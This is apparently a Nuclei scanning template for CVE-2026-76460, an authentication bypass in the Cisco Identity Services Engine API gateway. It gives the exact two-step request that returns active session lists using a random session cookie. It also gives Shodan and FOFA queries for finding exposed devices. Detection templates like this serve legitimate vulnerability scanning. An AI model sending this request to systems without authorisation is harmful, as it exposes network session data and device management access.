id: CVE-2026-76460 info: name: Cisco Identity Services Engine - ise-kong API Gateway Authentication Bypass author: 0x_Akoko severity: critical description: | Cisco Identity Services Engine contains an authentication bypass caused by insufficient authentication control on an API endpoint, letting unauthenticated remote attackers gain unauthorized access, exploit requires crafted request to API endpoint. impact: | Unauthenticated remote attackers can bypass authentication and gain unauthorized access to the device management interface. remediation: | Update to the latest available version with the fix. reference: - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5 - https://nvd.nist.gov/vuln/detail/CVE-2026-76460 - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76460 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2026-76460 epss-score: 0.75599 epss-percentile: 0.99519 cwe-id: CWE-648 metadata: verified: true max-request: 2 vendor: cisco product: identity_services_engine shodan-query: http.favicon.hash:-945076912 fofa-query: title="identity services engine" tags: cve,cve2026,cisco,cisco-ise,auth-bypass,kev,vkev flow: http(1) && http(2) http: - raw: - | GET /admin/API/mnt/Session/ActiveList HTTP/1.1 Host: {{Hostname}} redirects: false max-redirects: 0 matchers: - type: dsl dsl: - 'status_code == 401' - 'contains_any(body, "iseApiResponse", "Unauthorized")' condition: and internal: true - raw: - | GET /admin/API/mnt/Session/ActiveList HTTP/1.1 Host: {{Hostname}} Cookie: APPSESSIONID={{randstr}} redirects: false max-redirects: 0 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "xml")' - 'contains(body, "activeSessionListResult")' - '!contains_any(body, "Unauthorized", "iseApiResponse", "login.jsp")' condition: and extractors: - type: kval kval: - x_ise_version # digest: 4a0a00473045022100d4bde6c167107bf818ee9ccef5f1dfc0b8786385a3356c45383c979bcae283450220784057f2891908947a3271ba85c0d675f00e46974e5af2ad36ed6220aca41d2b:922c64590222798bb761d5b6d8e72950